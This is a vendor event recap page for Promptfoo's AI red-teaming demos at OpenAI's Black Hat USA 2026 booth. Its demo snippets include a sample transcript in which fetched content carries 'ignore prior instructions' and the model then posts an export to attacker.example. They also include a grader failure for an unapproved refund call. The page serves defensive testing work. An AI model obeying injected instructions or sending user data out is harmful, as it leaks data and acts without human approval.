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Black Hat USA 2026 // Past event

Promptfoo at OpenAI booth #2967

Break the agent.
Keep the evidence.

Black Hat USA 2026 has ended. Promptfoo is part of OpenAI, and we demonstrated attacks against real AI applications at OpenAI booth #2967. Explore the demos below, or get in touch to test your own application.

  • Conference: August 1-6, 2026
  • Mandalay Bay, Las Vegas
  • Booth #2967
  • Business Hall and booth: Aug 4-6

// Black Hat 2026

Event recap

Thanks to everyone who visited us in Las Vegas. The conference ended on August 6.

01 / At the booth

Booth #2967

We demonstrated prompt injection, jailbreaks, and unsafe agent actions at OpenAI booth #2967 in Bayside halls A-D at Mandalay Bay.

02 / Conference dates

Business Hall, Aug 4-6

Black Hat USA 2026 ran August 1-6. The Business Hall was open August 4-6, alongside trainings and briefings throughout the week.

03 / Follow up

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// Demos

What we demoed

See what an attack does, then inspect the evidence it leaves behind.

transcript

user   summarize this vendor PDF
tool   fetch() -> "...ignore prior instructions"
model  POST /export?to=attacker.example

Injection through untrusted content

Watch an application retrieve a document that hides a malicious instruction. The transcript shows what the agent did next.

grader

FAIL   excessive-agency
       refund(order_id) called without approval

Agents talked into acting

See what happens when an agent has more access than it needs. We test tool misuse, memory poisoning, and actions taken without human approval.

ci diff

+ redteam.yaml
+   plugins: [indirect-prompt-injection]
  1 confirmed finding -> 1 blocking test

From finding to regression test

See how one confirmed finding becomes a test in your repo and runs again on the next commit.

// Pipeline

The red-team pipeline

The same five steps, whether you run them once before launch or on every pull request.

  1. Discover

    Map the endpoints, tools, and system prompts the target can reach.

  2. Generate

    Target-specific attacks find failures that static lists miss.

  3. Attack

    Run them at scale: single-turn, multi-turn, and agentic.

  4. Grade

    Graders triage likely failures and keep the transcript for review.

  5. Regress

    Every confirmed break becomes a test case that runs in CI.

// OpenAI security

The rest of the lineup

Daybreak is OpenAI's broader cyber-defense initiative. Codex Security checks your code, while Promptfoo tests the agent you ship.

Daybreak

Daybreak brings together OpenAI models, Codex Security, and security partners to help defenders find, verify, and fix vulnerabilities. Promptfoo complements that work by testing deployed AI agents.

your repository

Codex Security

Codex Security builds a threat model for your repository, reproduces likely vulnerabilities in a sandbox, and proposes fixes for human review. It does not change your code.

your deployed agent

Promptfoo

We test the agent you actually ship for prompt injection, jailbreaks, tool misuse, and excessive agency. Codex Security checks the code; Promptfoo checks the agent.

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// Black Hat + DEF CON

The Vegas run

We were at OpenAI booth #2967 at Black Hat, Aug 4-6, and OpenAI booth #1412 at DEF CON, Aug 7-9.

This event

Aug 1-6

Black Hat USA 2026

Mandalay Bay Convention Center

Also in VegasAug 6-9DEF CON 34LVCC West HallSee the DEF CON page

Missed us at Black Hat?

The conference is over, but you can still see Promptfoo in action. Request a demo to talk through your application.